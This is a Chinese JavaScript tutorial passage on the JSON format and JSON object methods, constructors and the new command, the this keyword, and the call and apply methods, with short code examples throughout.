JSON 对象

JSON 格式

JSON 格式(JavaScript Object Notation 的缩写)是一种用于数据交换的文本格式,2001年由 Douglas Crockford 提出,目的是取代繁琐笨重的 XML 格式。

相比 XML 格式,JSON 格式有两个显著的优点:书写简单,一目了然;符合 JavaScript 原生语法,可以由解释引擎直接处理,不用另外添加解析代码。所以,JSON 迅速被接受,已经成为各大网站交换数据的标准格式,并被写入标准。

每个 JSON 对象就是一个值,可能是一个数组或对象,也可能是一个原始类型的值。总之,只能是一个值,不能是两个或更多的值。

JSON 对值的类型和格式有严格的规定。

  1. 复合类型的值只能是数组或对象,不能是函数、正则表达式对象、日期对象。

  2. 原始类型的值只有四种:字符串、数值(必须以十进制表示)、布尔值和null(不能使用NaN, Infinity, -Infinityundefined)。

  3. 字符串必须使用双引号表示,不能使用单引号。

  4. 对象的键名必须放在双引号里面。

  5. 数组或对象最后一个成员的后面,不能加逗号。

以下都是合法的 JSON。

1
2
3
4
5
6
7
["one", "two", "three"]

{ "one": 1, "two": 2, "three": 3 }

{"names": ["张三", "李四"] }

[ { "name": "张三"}, {"name": "李四"} ]

以下都是不合法的 JSON。

1
2
3
4
5
6
7
8
9
10
11
12
{ name: "张三", 'age': 32 }  // 属性名必须使用双引号

[32, 64, 128, 0xFFF] // 不能使用十六进制值

{ "name": "张三", "age": undefined } // 不能使用 undefined

{ "name": "张三",
"birthday": new Date('Fri, 26 Aug 2011 07:13:10 GMT'),
"getName": function () {
return this.name;
}
} // 属性值不能使用函数和日期对象

注意,null、空数组和空对象都是合法的 JSON 值。

JSON 对象

JSON对象是 JavaScript 的原生对象,用来处理 JSON 格式数据。它有两个静态方法:JSON.stringify()JSON.parse()

JSON.stringify()

基本用法

JSON.stringify方法用于将一个值转为 JSON 字符串。该字符串符合 JSON 格式,并且可以被JSON.parse方法还原。

1
2
3
4
5
6
7
8
9
10
11
JSON.stringify('abc') // ""abc""
JSON.stringify(1) // "1"
JSON.stringify(false) // "false"
JSON.stringify([]) // "[]"
JSON.stringify({}) // "{}"

JSON.stringify([1, "false", false])
// '[1,"false",false]'

JSON.stringify({ name: "张三" })
// '{"name":"张三"}'

上面代码将各种类型的值,转成 JSON 字符串。

注意,对于原始类型的字符串,转换结果会带双引号。

1
2
JSON.stringify('foo') === "foo" // false
JSON.stringify('foo') === "\"foo\"" // true

上面代码中,字符串foo,被转成了"\"foo\""。这是因为将来还原的时候,内层双引号可以让 JavaScript 引擎知道,这是一个字符串,而不是其他类型的值。

1
2
JSON.stringify(false) // "false"
JSON.stringify('false') // "\"false\""

上面代码中,如果不是内层的双引号,将来还原的时候,引擎就无法知道原始值是布尔值还是字符串。

如果对象的属性是undefined、函数或 XML 对象,该属性会被JSON.stringify过滤。

1
2
3
4
5
6
var obj = {
a: undefined,
b: function () {}
};

JSON.stringify(obj) // "{}"

上面代码中,对象obja属性是undefined,而b属性是一个函数,结果都被JSON.stringify过滤。

如果数组的成员是undefined、函数或 XML 对象,则这些值被转成null

1
2
var arr = [undefined, function () {}];
JSON.stringify(arr) // "[null,null]"

上面代码中,数组arr的成员是undefined和函数,它们都被转成了null

正则对象会被转成空对象。

1
JSON.stringify(/foo/) // "{}"

JSON.stringify方法会忽略对象的不可遍历的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
var obj = {};
Object.defineProperties(obj, {
'foo': {
value: 1,
enumerable: true
},
'bar': {
value: 2,
enumerable: false
}
});

JSON.stringify(obj); // "{"foo":1}"

上面代码中,barobj对象的不可遍历属性,JSON.stringify方法会忽略这个属性。

第二个参数

JSON.stringify方法还可以接受一个数组,作为第二个参数,指定需要转成字符串的属性。

1
2
3
4
5
6
7
8
9
10
var obj = {
'prop1': 'value1',
'prop2': 'value2',
'prop3': 'value3'
};

var selectedProperties = ['prop1', 'prop2'];

JSON.stringify(obj, selectedProperties)
// "{"prop1":"value1","prop2":"value2"}"

上面代码中,JSON.stringify方法的第二个参数指定,只转prop1prop2两个属性。

这个类似白名单的数组,只对对象的属性有效,对数组无效。

1
2
3
4
5
JSON.stringify(['a', 'b'], ['0'])
// "["a","b"]"

JSON.stringify({0: 'a', 1: 'b'}, ['0'])
// "{"0":"a"}"

上面代码中,第二个参数指定 JSON 格式只转0号属性,实际上对数组是无效的,只对对象有效。

第二个参数还可以是一个函数,用来更改JSON.stringify的返回值。

1
2
3
4
5
6
7
8
9
function f(key, value) {
if (typeof value === "number") {
value = 2 * value;
}
return value;
}

JSON.stringify({ a: 1, b: 2 }, f)
// '{"a": 2,"b": 4}'

上面代码中的f函数,接受两个参数,分别是被转换的对象的键名和键值。如果键值是数值,就将它乘以2,否则就原样返回。

注意,这个处理函数是递归处理所有的键。

1
2
3
4
5
6
7
8
9
10
11
12
var o = {a: {b: 1}};

function f(key, value) {
console.log("["+ key +"]:" + value);
return value;
}

JSON.stringify(o, f)
// []:[object Object]
// [a]:[object Object]
// [b]:1
// '{"a":{"b":1}}'

上面代码中,对象o一共会被f函数处理三次,最后那行是JSON.stringify的输出。第一次键名为空,键值是整个对象o;第二次键名为a,键值是{b: 1};第三次键名为b,键值为1。

递归处理中,每一次处理的对象,都是前一次返回的值。

1
2
3
4
5
6
7
8
9
10
11
var o = {a: 1};

function f(key, value) {
if (typeof value === 'object') {
return {b: 2};
}
return value * 2;
}

JSON.stringify(o, f)
// "{"b": 4}"

上面代码中,f函数修改了对象o,接着JSON.stringify方法就递归处理修改后的对象o

如果处理函数返回undefined或没有返回值,则该属性会被忽略。

1
2
3
4
5
6
7
8
9
function f(key, value) {
if (typeof(value) === "string") {
return undefined;
}
return value;
}

JSON.stringify({ a: "abc", b: 123 }, f)
// '{"b": 123}'

上面代码中,a属性经过处理后,返回undefined,于是该属性被忽略了。

第三个参数

JSON.stringify还可以接受第三个参数,用于增加返回的 JSON 字符串的可读性。如果是数字,表示每个属性前面添加的空格(最多不超过10个);如果是字符串(不超过10个字符),则该字符串会添加在每行前面。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
JSON.stringify({ p1: 1, p2: 2 }, null, 2);
/*
"{
"p1": 1,
"p2": 2
}"
*/

JSON.stringify({ p1:1, p2:2 }, null, '|-');
/*
"{
|-"p1": 1,
|-"p2": 2
}"
*/

参数对象的 toJSON 方法

如果参数对象有自定义的toJSON方法,那么JSON.stringify会使用这个方法的返回值作为参数,而忽略原对象的其他属性。

下面是一个普通的对象。

1
2
3
4
5
6
7
8
9
10
11
var user = {
firstName: '三',
lastName: '张',

get fullName(){
return this.lastName + this.firstName;
}
};

JSON.stringify(user)
// "{"firstName":"三","lastName":"张","fullName":"张三"}"

现在,为这个对象加上toJSON方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var user = {
firstName: '三',
lastName: '张',

get fullName(){
return this.lastName + this.firstName;
},

toJSON: function () {
return {
name: this.lastName + this.firstName
};
}
};

JSON.stringify(user)
// "{"name":"张三"}"

上面代码中,JSON.stringify发现参数对象有toJSON方法,就直接使用这个方法的返回值作为参数,而忽略原对象的其他参数。

Date对象就有一个自己的toJSON方法。

1
2
3
var date = new Date('2015-01-01');
date.toJSON() // "2015-01-01T00:00:00.000Z"
JSON.stringify(date) // ""2015-01-01T00:00:00.000Z""

上面代码中,JSON.stringify发现处理的是Date对象实例,就会调用这个实例对象的toJSON方法,将该方法的返回值作为参数。

toJSON方法的一个应用是,将正则对象自动转为字符串。因为JSON.stringify默认不能转换正则对象,但是设置了toJSON方法以后,就可以转换正则对象了。

1
2
3
4
5
6
7
8
9
10
var obj = {
reg: /foo/
};

// 不设置 toJSON 方法时
JSON.stringify(obj) // "{"reg":{}}"

// 设置 toJSON 方法时
RegExp.prototype.toJSON = RegExp.prototype.toString;
JSON.stringify(/foo/) // ""/foo/""

上面代码在正则对象的原型上面部署了toJSON()方法,将其指向toString()方法,因此转换成 JSON 格式时,正则对象就先调用toJSON()方法转为字符串,然后再被JSON.stringify()方法处理。

JSON.parse()

JSON.parse方法用于将 JSON 字符串转换成对应的值。

1
2
3
4
5
6
7
8
JSON.parse('{}') // {}
JSON.parse('true') // true
JSON.parse('"foo"') // "foo"
JSON.parse('[1, 5, "false"]') // [1, 5, "false"]
JSON.parse('null') // null

var o = JSON.parse('{"name": "张三"}');
o.name // 张三

如果传入的字符串不是有效的 JSON 格式,JSON.parse方法将报错。

1
2
JSON.parse("'String'") // illegal single quotes
// SyntaxError: Unexpected token ILLEGAL

上面代码中,双引号字符串中是一个单引号字符串,因为单引号字符串不符合 JSON 格式,所以报错。

为了处理解析错误,可以将JSON.parse方法放在try...catch代码块中。

1
2
3
4
5
try {
JSON.parse("'String'");
} catch(e) {
console.log('parsing error');
}

JSON.parse方法可以接受一个处理函数,作为第二个参数,用法与JSON.stringify方法类似。

1
2
3
4
5
6
7
8
9
function f(key, value) {
if (key === 'a') {
return value + 10;
}
return value;
}

JSON.parse('{"a": 1, "b": 2}', f)
// {a: 11, b: 2}

上面代码中,JSON.parse的第二个参数是一个函数,如果键名是a,该函数会将键值加上10。

参考链接

面向对象编程

实例对象与 new 命令

JavaScript 语言具有很强的面向对象编程能力,本章介绍 JavaScript 面向对象编程的基础知识。

对象是什么

面向对象编程(Object Oriented Programming,缩写为 OOP)是目前主流的编程范式。它将真实世界各种复杂的关系,抽象为一个个对象,然后由对象之间的分工与合作,完成对真实世界的模拟。

每一个对象都是功能中心,具有明确分工,可以完成接受信息、处理数据、发出信息等任务。对象可以复用,通过继承机制还可以定制。因此,面向对象编程具有灵活、代码可复用、高度模块化等特点,容易维护和开发,比起由一系列函数或指令组成的传统的过程式编程(procedural programming),更适合多人合作的大型软件项目。

那么,“对象”(object)到底是什么?我们从两个层次来理解。

(1)对象是单个实物的抽象。

一本书、一辆汽车、一个人都可以是对象,一个数据库、一张网页、一个与远程服务器的连接也可以是对象。当实物被抽象成对象,实物之间的关系就变成了对象之间的关系,从而就可以模拟现实情况,针对对象进行编程。

(2)对象是一个容器,封装了属性(property)和方法(method)。

属性是对象的状态,方法是对象的行为(完成某种任务)。比如,我们可以把动物抽象为animal对象,使用“属性”记录具体是那一种动物,使用“方法”表示动物的某种行为(奔跑、捕猎、休息等等)。

构造函数

面向对象编程的第一步,就是要生成对象。前面说过,对象是单个实物的抽象。通常需要一个模板,表示某一类实物的共同特征,然后对象根据这个模板生成。

典型的面向对象编程语言(比如 C++ 和 Java),都有“类”(class)这个概念。所谓“类”就是对象的模板,对象就是“类”的实例。但是,JavaScript 语言的对象体系,不是基于“类”的,而是基于构造函数(constructor)和原型链(prototype)。

JavaScript 语言使用构造函数(constructor)作为对象的模板。所谓”构造函数”,就是专门用来生成实例对象的函数。它就是对象的模板,描述实例对象的基本结构。一个构造函数,可以生成多个实例对象,这些实例对象都有相同的结构。

构造函数就是一个普通的函数,但是有自己的特征和用法。

1
2
3
var Vehicle = function () {
this.price = 1000;
};

上面代码中,Vehicle就是构造函数。为了与普通函数区别,构造函数名字的第一个字母通常大写。

构造函数的特点有两个。

  • 函数体内部使用了this关键字,代表了所要生成的对象实例。
  • 生成对象的时候,必须使用new命令。

下面先介绍new命令。

new 命令

基本用法

new命令的作用,就是执行构造函数,返回一个实例对象。

1
2
3
4
5
6
var Vehicle = function () {
this.price = 1000;
};

var v = new Vehicle();
v.price // 1000

上面代码通过new命令,让构造函数Vehicle生成一个实例对象,保存在变量v中。这个新生成的实例对象,从构造函数Vehicle得到了price属性。new命令执行时,构造函数内部的this,就代表了新生成的实例对象,this.price表示实例对象有一个price属性,值是1000。

使用new命令时,根据需要,构造函数也可以接受参数。

1
2
3
4
5
var Vehicle = function (p) {
this.price = p;
};

var v = new Vehicle(500);

new命令本身就可以执行构造函数,所以后面的构造函数可以带括号,也可以不带括号。下面两行代码是等价的,但是为了表示这里是函数调用,推荐使用括号。

1
2
3
4
// 推荐的写法
var v = new Vehicle();
// 不推荐的写法
var v = new Vehicle;

一个很自然的问题是,如果忘了使用new命令,直接调用构造函数会发生什么事?

这种情况下,构造函数就变成了普通函数,并不会生成实例对象。而且由于后面会说到的原因,this这时代表全局对象,将造成一些意想不到的结果。

1
2
3
4
5
6
7
var Vehicle = function (){
this.price = 1000;
};

var v = Vehicle();
v // undefined
price // 1000

上面代码中,调用Vehicle构造函数时,忘了加上new命令。结果,变量v变成了undefined,而price属性变成了全局变量。因此,应该非常小心,避免不使用new命令、直接调用构造函数。

为了保证构造函数必须与new命令一起使用,一个解决办法是,构造函数内部使用严格模式,即第一行加上use strict。这样的话,一旦忘了使用new命令,直接调用构造函数就会报错。

1
2
3
4
5
6
7
8
function Fubar(foo, bar){
'use strict';
this._foo = foo;
this._bar = bar;
}

Fubar()
// TypeError: Cannot set property '_foo' of undefined

上面代码的Fubar为构造函数,use strict命令保证了该函数在严格模式下运行。由于严格模式中,函数内部的this不能指向全局对象,默认等于undefined,导致不加new调用会报错(JavaScript 不允许对undefined添加属性)。

另一个解决办法,构造函数内部判断是否使用new命令,如果发现没有使用,则直接返回一个实例对象。

1
2
3
4
5
6
7
8
9
10
11
function Fubar(foo, bar) {
if (!(this instanceof Fubar)) {
return new Fubar(foo, bar);
}

this._foo = foo;
this._bar = bar;
}

Fubar(1, 2)._foo // 1
(new Fubar(1, 2))._foo // 1

上面代码中的构造函数,不管加不加new命令,都会得到同样的结果。

new 命令的原理

使用new命令时,它后面的函数依次执行下面的步骤。

  1. 创建一个空对象,作为将要返回的对象实例。
  2. 将这个空对象的原型,指向构造函数的prototype属性。
  3. 将这个空对象赋值给函数内部的this关键字。
  4. 开始执行构造函数内部的代码。

也就是说,构造函数内部,this指的是一个新生成的空对象,所有针对this的操作,都会发生在这个空对象上。构造函数之所以叫“构造函数”,就是说这个函数的目的,就是操作一个空对象(即this对象),将其“构造”为需要的样子。

如果构造函数内部有return语句,而且return后面跟着一个对象,new命令会返回return语句指定的对象;否则,就会不管return语句,返回this对象。

1
2
3
4
5
6
7
var Vehicle = function () {
this.price = 1000;
return 1000;
};

(new Vehicle()) === 1000
// false

上面代码中,构造函数Vehiclereturn语句返回一个数值。这时,new命令就会忽略这个return语句,返回“构造”后的this对象。

但是,如果return语句返回的是一个跟this无关的新对象,new命令会返回这个新对象,而不是this对象。这一点需要特别引起注意。

1
2
3
4
5
6
7
var Vehicle = function (){
this.price = 1000;
return { price: 2000 };
};

(new Vehicle()).price
// 2000

上面代码中,构造函数Vehiclereturn语句,返回的是一个新对象。new命令会返回这个对象,而不是this对象。

另一方面,如果对普通函数(内部没有this关键字的函数)使用new命令,则会返回一个空对象。

1
2
3
4
5
6
7
8
function getMessage() {
return 'this is a message';
}

var msg = new getMessage();

msg // {}
typeof msg // "object"

上面代码中,getMessage是一个普通函数,返回一个字符串。对它使用new命令,会得到一个空对象。这是因为new命令总是返回一个对象,要么是实例对象,要么是return语句指定的对象。本例中,return语句返回的是字符串,所以new命令就忽略了该语句。

new命令简化的内部流程,可以用下面的代码表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function _new(/* 构造函数 */ constructor, /* 构造函数参数 */ params) {
// 将 arguments 对象转为数组
var args = [].slice.call(arguments);
// 取出构造函数
var constructor = args.shift();
// 创建一个空对象,继承构造函数的 prototype 属性
var context = Object.create(constructor.prototype);
// 执行构造函数
var result = constructor.apply(context, args);
// 如果返回结果是对象,就直接返回,否则返回 context 对象
return (typeof result === 'object' && result != null) ? result : context;
}

// 实例
var actor = _new(Person, '张三', 28);

new.target

函数内部可以使用new.target属性。如果当前函数是new命令调用,new.target指向当前函数,否则为undefined

1
2
3
4
5
6
function f() {
console.log(new.target === f);
}

f() // false
new f() // true

使用这个属性,可以判断函数调用的时候,是否使用new命令。

1
2
3
4
5
6
7
8
function f() {
if (!new.target) {
throw new Error('请使用 new 命令调用!');
}
// ...
}

f() // Uncaught Error: 请使用 new 命令调用!

上面代码中,构造函数f调用时,没有使用new命令,就抛出一个错误。

Object.create() 创建实例对象

构造函数作为模板,可以生成实例对象。但是,有时拿不到构造函数,只能拿到一个现有的对象。我们希望以这个现有的对象作为模板,生成新的实例对象,这时就可以使用Object.create()方法。

1
2
3
4
5
6
7
8
9
10
11
12
var person1 = {
name: '张三',
age: 38,
greeting: function() {
console.log('Hi! I\'m ' + this.name + '.');
}
};

var person2 = Object.create(person1);

person2.name // 张三
person2.greeting() // Hi! I'm 张三.

上面代码中,对象person1person2的模板,后者继承了前者的属性和方法。

Object.create()的详细介绍,请看后面的相关章节。

this 关键字

涵义

this关键字是一个非常重要的语法点。毫不夸张地说,不理解它的含义,大部分开发任务都无法完成。

前一章已经提到,this可以用在构造函数之中,表示实例对象。除此之外,this还可以用在别的场合。但不管是什么场合,this都有一个共同点:它总是返回一个对象。

简单说,this就是属性或方法“当前”所在的对象。

1
this.property

上面代码中,this就代表property属性当前所在的对象。

下面是一个实际的例子。

1
2
3
4
5
6
7
8
9
var person = {
name: '张三',
describe: function () {
return '姓名:'+ this.name;
}
};

person.describe()
// "姓名:张三"

上面代码中,this.name表示name属性所在的那个对象。由于this.name是在describe方法中调用,而describe方法所在的当前对象是person,因此this指向personthis.name就是person.name

由于对象的属性可以赋给另一个对象,所以属性所在的当前对象是可变的,即this的指向是可变的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var A = {
name: '张三',
describe: function () {
return '姓名:'+ this.name;
}
};

var B = {
name: '李四'
};

B.describe = A.describe;
B.describe()
// "姓名:李四"

上面代码中,A.describe属性被赋给B,于是B.describe就表示describe方法所在的当前对象是B,所以this.name就指向B.name

稍稍重构这个例子,this的动态指向就能看得更清楚。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function f() {
return '姓名:'+ this.name;
}

var A = {
name: '张三',
describe: f
};

var B = {
name: '李四',
describe: f
};

A.describe() // "姓名:张三"
B.describe() // "姓名:李四"

上面代码中,函数f内部使用了this关键字,随着f所在的对象不同,this的指向也不同。

只要函数被赋给另一个变量,this的指向就会变。

1
2
3
4
5
6
7
8
9
10
var A = {
name: '张三',
describe: function () {
return '姓名:'+ this.name;
}
};

var name = '李四';
var f = A.describe;
f() // "姓名:李四"

上面代码中,A.describe被赋值给变量f,内部的this就会指向f运行时所在的对象(本例是顶层对象)。

再看一个网页编程的例子。

1
2
3
4
5
6
7
8
<input type="text" name="age" size=3 onChange="validate(this, 18, 99);">

<script>
function validate(obj, lowval, hival){
if ((obj.value < lowval) || (obj.value > hival))
console.log('Invalid Value!');
}
</script>

上面代码是一个文本输入框,每当用户输入一个值,就会调用onChange回调函数,验证这个值是否在指定范围。浏览器会向回调函数传入当前对象,因此this就代表传入当前对象(即文本框),然后就可以从this.value上面读到用户的输入值。

总结一下,JavaScript 语言之中,一切皆对象,运行环境也是对象,所以函数都是在某个对象之中运行,this就是函数运行时所在的对象(环境)。这本来并不会让用户糊涂,但是 JavaScript 支持运行环境动态切换,也就是说,this的指向是动态的,没有办法事先确定到底指向哪个对象,这才是最让初学者感到困惑的地方。

实质

JavaScript 语言之所以有 this 的设计,跟内存里面的数据结构有关系。

1
var obj = { foo:  5 };

上面的代码将一个对象赋值给变量obj。JavaScript 引擎会先在内存里面,生成一个对象{ foo: 5 },然后把这个对象的内存地址赋值给变量obj。也就是说,变量obj是一个地址(reference)。后面如果要读取obj.foo,引擎先从obj拿到内存地址,然后再从该地址读出原始的对象,返回它的foo属性。

原始的对象以字典结构保存,每一个属性名都对应一个属性描述对象。举例来说,上面例子的foo属性,实际上是以下面的形式保存的。

1
2
3
4
5
6
7
8
{
foo: {
[[value]]: 5
[[writable]]: true
[[enumerable]]: true
[[configurable]]: true
}
}

注意,foo属性的值保存在属性描述对象的value属性里面。

这样的结构是很清晰的,问题在于属性的值可能是一个函数。

1
var obj = { foo: function () {} };

这时,引擎会将函数单独保存在内存中,然后再将函数的地址赋值给foo属性的value属性。

1
2
3
4
5
6
{
foo: {
[[value]]: 函数的地址
...
}
}

由于函数是一个单独的值,所以它可以在不同的环境(上下文)执行。

1
2
3
4
5
6
7
8
var f = function () {};
var obj = { f: f };

// 单独执行
f()

// obj 环境执行
obj.f()

JavaScript 允许在函数体内部,引用当前环境的其他变量。

1
2
3
var f = function () {
console.log(x);
};

上面代码中,函数体里面使用了变量x。该变量由运行环境提供。

现在问题就来了,由于函数可以在不同的运行环境执行,所以需要有一种机制,能够在函数体内部获得当前的运行环境(context)。所以,this就出现了,它的设计目的就是在函数体内部,指代函数当前的运行环境。

1
2
3
var f = function () {
console.log(this.x);
}

上面代码中,函数体里面的this.x就是指当前运行环境的x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var f = function () {
console.log(this.x);
}

var x = 1;
var obj = {
f: f,
x: 2,
};

// 单独执行
f() // 1

// obj 环境执行
obj.f() // 2

上面代码中,函数f在全局环境执行,this.x指向全局环境的x;在obj环境执行,this.x指向obj.x

使用场合

this主要有以下几个使用场合。

(1)全局环境

全局环境使用this,它指的就是顶层对象window

1
2
3
4
5
6
this === window // true

function f() {
console.log(this === window);
}
f() // true

上面代码说明,不管是不是在函数内部,只要是在全局环境下运行,this就是指顶层对象window

(2)构造函数

构造函数中的this,指的是实例对象。

1
2
3
var Obj = function (p) {
this.p = p;
};

上面代码定义了一个构造函数Obj。由于this指向实例对象,所以在构造函数内部定义this.p,就相当于定义实例对象有一个p属性。

1
2
var o = new Obj('Hello World!');
o.p // "Hello World!"

(3)对象的方法

如果对象的方法里面包含thisthis的指向就是方法运行时所在的对象。该方法赋值给另一个对象,就会改变this的指向。

但是,这条规则很不容易把握。请看下面的代码。

1
2
3
4
5
6
7
var obj ={
foo: function () {
console.log(this);
}
};

obj.foo() // obj

上面代码中,obj.foo方法执行时,它内部的this指向obj

但是,下面这几种用法,都会改变this的指向。

1
2
3
4
5
6
// 情况一
(obj.foo = obj.foo)() // window
// 情况二
(false || obj.foo)() // window
// 情况三
(1, obj.foo)() // window

上面代码中,obj.foo就是一个值。这个值真正调用的时候,运行环境已经不是obj了,而是全局环境,所以this不再指向obj

可以这样理解,JavaScript 引擎内部,objobj.foo储存在两个内存地址,称为地址一和地址二。obj.foo()这样调用时,是从地址一调用地址二,因此地址二的运行环境是地址一,this指向obj。但是,上面三种情况,都是直接取出地址二进行调用,这样的话,运行环境就是全局环境,因此this指向全局环境。上面三种情况等同于下面的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 情况一
(obj.foo = function () {
console.log(this);
})()
// 等同于
(function () {
console.log(this);
})()

// 情况二
(false || function () {
console.log(this);
})()

// 情况三
(1, function () {
console.log(this);
})()

如果this所在的方法不在对象的第一层,这时this只是指向当前一层的对象,而不会继承更上面的层。

1
2
3
4
5
6
7
8
9
10
var a = {
p: 'Hello',
b: {
m: function() {
console.log(this.p);
}
}
};

a.b.m() // undefined

上面代码中,a.b.m方法在a对象的第二层,该方法内部的this不是指向a,而是指向a.b,因为实际执行的是下面的代码。

1
2
3
4
5
6
7
8
9
10
11
12
var b = {
m: function() {
console.log(this.p);
}
};

var a = {
p: 'Hello',
b: b
};

(a.b).m() // 等同于 b.m()

如果要达到预期效果,只有写成下面这样。

1
2
3
4
5
6
7
8
var a = {
b: {
m: function() {
console.log(this.p);
},
p: 'Hello'
}
};

如果这时将嵌套对象内部的方法赋值给一个变量,this依然会指向全局对象。

1
2
3
4
5
6
7
8
9
10
11
var a = {
b: {
m: function() {
console.log(this.p);
},
p: 'Hello'
}
};

var hello = a.b.m;
hello() // undefined

上面代码中,m是多层对象内部的一个方法。为求简便,将其赋值给hello变量,结果调用时,this指向了顶层对象。为了避免这个问题,可以只将m所在的对象赋值给hello,这样调用时,this的指向就不会变。

1
2
var hello = a.b;
hello.m() // Hello

使用注意点

避免多层 this

由于this的指向是不确定的,所以切勿在函数中包含多层的this

1
2
3
4
5
6
7
8
9
10
11
12
var o = {
f1: function () {
console.log(this);
var f2 = function () {
console.log(this);
}();
}
}

o.f1()
// Object
// Window

上面代码包含两层this,结果运行后,第一层指向对象o,第二层指向全局对象,因为实际执行的是下面的代码。

1
2
3
4
5
6
7
8
9
10
var temp = function () {
console.log(this);
};

var o = {
f1: function () {
console.log(this);
var f2 = temp();
}
}

一个解决方法是在第二层改用一个指向外层this的变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
var o = {
f1: function() {
console.log(this);
var that = this;
var f2 = function() {
console.log(that);
}();
}
}

o.f1()
// Object
// Object

上面代码定义了变量that,固定指向外层的this,然后在内层使用that,就不会发生this指向的改变。

事实上,使用一个变量固定this的值,然后内层函数调用这个变量,是非常常见的做法,请务必掌握。

JavaScript 提供了严格模式,也可以硬性避免这种问题。严格模式下,如果函数内部的this指向顶层对象,就会报错。

1
2
3
4
5
6
7
8
9
10
var counter = {
count: 0
};
counter.inc = function () {
'use strict';
this.count++
};
var f = counter.inc;
f()
// TypeError: Cannot read property 'count' of undefined

上面代码中,inc方法通过'use strict'声明采用严格模式,这时内部的this一旦指向顶层对象,就会报错。

避免数组处理方法中的 this

数组的mapforeach方法,允许提供一个函数作为参数。这个函数内部不应该使用this

1
2
3
4
5
6
7
8
9
10
11
12
13
var o = {
v: 'hello',
p: [ 'a1', 'a2' ],
f: function f() {
this.p.forEach(function (item) {
console.log(this.v + ' ' + item);
});
}
}

o.f()
// undefined a1
// undefined a2

上面代码中,foreach方法的回调函数中的this,其实是指向window对象,因此取不到o.v的值。原因跟上一段的多层this是一样的,就是内层的this不指向外部,而指向顶层对象。

解决这个问题的一种方法,就是前面提到的,使用中间变量固定this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var o = {
v: 'hello',
p: [ 'a1', 'a2' ],
f: function f() {
var that = this;
this.p.forEach(function (item) {
console.log(that.v+' '+item);
});
}
}

o.f()
// hello a1
// hello a2

另一种方法是将this当作foreach方法的第二个参数,固定它的运行环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
var o = {
v: 'hello',
p: [ 'a1', 'a2' ],
f: function f() {
this.p.forEach(function (item) {
console.log(this.v + ' ' + item);
}, this);
}
}

o.f()
// hello a1
// hello a2

避免回调函数中的 this

回调函数中的this往往会改变指向,最好避免使用。

1
2
3
4
5
6
7
var o = new Object();
o.f = function () {
console.log(this === o);
}

// jQuery 的写法
$('#button').on('click', o.f);

上面代码中,点击按钮以后,控制台会显示false。原因是此时this不再指向o对象,而是指向按钮的 DOM 对象,因为f方法是在按钮对象的环境中被调用的。这种细微的差别,很容易在编程中忽视,导致难以察觉的错误。

为了解决这个问题,可以采用下面的一些方法对this进行绑定,也就是使得this固定指向某个对象,减少不确定性。

绑定 this 的方法

this的动态切换,固然为 JavaScript 创造了巨大的灵活性,但也使得编程变得困难和模糊。有时,需要把this固定下来,避免出现意想不到的情况。JavaScript 提供了callapplybind这三个方法,来切换/固定this的指向。

Function.prototype.call()

函数实例的call方法,可以指定函数内部this的指向(即函数执行时所在的作用域),然后在所指定的作用域中,调用该函数。

1
2
3
4
5
6
7
8
var obj = {};

var f = function () {
return this;
};

f() === window // true
f.call(obj) === obj // true

上面代码中,全局环境运行函数f时,this指向全局环境(浏览器为window对象);call方法可以改变this的指向,指定this指向对象obj,然后在对象obj的作用域中运行函数f

call方法的参数,应该是一个对象。如果参数为空、nullundefined,则默认传入全局对象。

1
2
3
4
5
6
7
8
9
10
11
12
var n = 123;
var obj = { n: 456 };

function a() {
console.log(this.n);
}

a.call() // 123
a.call(null) // 123
a.call(undefined) // 123
a.call(window) // 123
a.call(obj) // 456

上面代码中,a函数中的this关键字,如果指向全局对象,返回结果为123。如果使用call方法将this关键字指向obj对象,返回结果为456。可以看到,如果call方法没有参数,或者参数为nullundefined,则等同于指向全局对象。

如果call方法的参数是一个原始值,那么这个原始值会自动转成对应的包装对象,然后传入call方法。

1
2
3
4
5
6
var f = function () {
return this;
};

f.call(5)
// Number {[[PrimitiveValue]]: 5}

上面代码中,call的参数为5,不是对象,会被自动转成包装对象(Number的实例),绑定f内部的this

call方法还可以接受多个参数。

1
func.call(thisValue, arg1, arg2, ...)

call的第一个参数就是this所要指向的那个对象,后面的参数则是函数调用时所需的参数。

1
2
3
4
5
function add(a, b) {
return a + b;
}

add.call(this, 1, 2) // 3

上面代码中,call方法指定函数add内部的this绑定当前环境(对象),并且参数为12,因此函数add运行后得到3

call方法的一个应用是调用对象的原生方法。

1
2
3
4
5
6
7
8
9
10
var obj = {};
obj.hasOwnProperty('toString') // false

// 覆盖掉继承的 hasOwnProperty 方法
obj.hasOwnProperty = function () {
return true;
};
obj.hasOwnProperty('toString') // true

Object.prototype.hasOwnProperty.call(obj, 'toString') // false

上面代码中,hasOwnPropertyobj对象继承的方法,如果这个方法一旦被覆盖,就不会得到正确结果。call方法可以解决这个问题,它将hasOwnProperty方法的原始定义放到obj对象上执行,这样无论obj上有没有同名方法,都不会影响结果。

Function.prototype.apply()

apply方法的作用与call方法类似,也是改变this指向,然后再调用该函数。唯一的区别就是,它接收一个数组作为函数执行时的参数,使用格式如下。

1
func.apply(thisValue, [arg1, arg2, ...])

apply方法的第一个参数也是this所要指向的那个对象,如果设为nullundefined,则等同于指定全局对象。第二个参数则是一个数组,该数组的所有成员依次作为参数,传入原函数。原函数的参数,在call方法中必须一个个添加,但是在apply方法中,必须以数组形式添加。

1
2
3
4
5
6
function f(x, y){
console.log(x + y);
}

f.call(null, 1, 1) // 2
f.apply(null, [1, 1]) // 2

上面代码中,f函数本来接受两个参数,使用apply方法以后,就变成可以接受一个数组作为参数。

利用这一点,可以做一些有趣的应用。

(1)找出数组最大元素

JavaScript 不提供找出数组最大元素的函数。结合使用apply方法和Math.max方法,就可以返回数组的最大元素。

1
2
var a = [10, 2, 4, 15, 9];
Math.max.apply(null, a) // 15

(2)将数组的空元素变为undefined

通过apply方法,利用Array构造函数将数组的空元素变成undefined

1
2
Array.apply(null, ['a', ,'b'])
// [ 'a', undefined, 'b' ]

